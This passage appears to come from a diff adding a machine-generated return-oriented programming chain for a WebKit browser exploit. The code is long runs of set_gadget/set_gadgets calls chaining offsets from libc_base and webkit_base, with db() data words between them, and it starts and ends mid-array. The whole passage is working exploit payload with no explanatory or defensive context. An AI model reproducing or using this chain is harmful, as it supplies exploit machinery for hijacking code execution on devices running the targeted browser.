+libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+100440, +webkit_base+4687784, +libc_base+768796 +]); +db([14, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+100536, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+100552, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+100640, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+100696, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+100768, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+100824, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+100976, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+101064, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+101080, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+101224, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+101192, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+101208, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+101296, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+101352, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+101448, +webkit_base+4687784, +libc_base+768796 +]); +db([15, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+101544, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+101560, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+101648, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+101704, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+101776, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+101832, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+432565, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+101984, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+102072, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+102088, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+102232, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+102200, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+102216, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+102304, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+102360, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+102456, +webkit_base+4687784, +libc_base+768796 +]); +db([16, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+102552, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+102568, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+102656, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+102712, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+102784, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+102840, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+102992, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+103080, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+103096, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+103240, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+103208, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+103224, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+103312, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+103368, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+103464, +webkit_base+4687784, +libc_base+768796 +]); +db([17, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+103560, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+103576, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+103664, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+103720, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+103792, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+103848, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+103952, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+104040, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+104056, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+104200, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+104168, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+104184, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+104272, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+104328, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+104424, +webkit_base+4687784, +libc_base+768796 +]); +db([4, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+104520, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+104536, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+104624, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+104680, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+104800, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+104888, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+104904, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+105048, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+105016, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+105032, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+105120, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+105176, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+105272, +webkit_base+4687784, +libc_base+768796 +]); +db([18, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+105368, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+105384, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+105472, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+105528, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+105600, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+105656, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+105808, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+105896, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+105912, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+106056, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+106024, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+106040, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+106128, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+106184, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+106280, +webkit_base+4687784, +libc_base+768796 +]); +db([19, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+106376, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+106392, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+106480, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+106536, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+106608, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+106664, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+863109, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+106816, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+106904, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+106920, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+107064, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+107032, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+107048, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+107136, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+107192, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+107288, +webkit_base+4687784, +libc_base+768796 +]); +db([20, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+107384, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+107400, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+107488, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+107544, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+107616, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+107672, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+107824, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+107912, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+107928, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+108072, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+108040, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+108056, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+108144, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+108200, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+108296, +webkit_base+4687784, +libc_base+768796 +]); +db([21, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+108392, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+108408, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+108496, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+108552, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+108624, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+108680, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+108784, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+108872, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+108888, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+109032, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+109000, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+109016, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+109104, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+109160, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+109256, +webkit_base+4687784, +libc_base+768796 +]); +db([3, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+109352, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+109368, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+109456, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+109512, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+109632, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+109720, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+109736, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+109880, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+109848, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+109864, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+109952, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+110008, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+110104, +webkit_base+4687784, +libc_base+768796 +]); +db([22, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+110200, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+110216, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+110304, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+110360, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+110432, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+110488, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+110640, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+110728, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+110744, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+110888, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+110856, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+110872, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+110960, +webkit_base+4687784, +libc_base+863109, 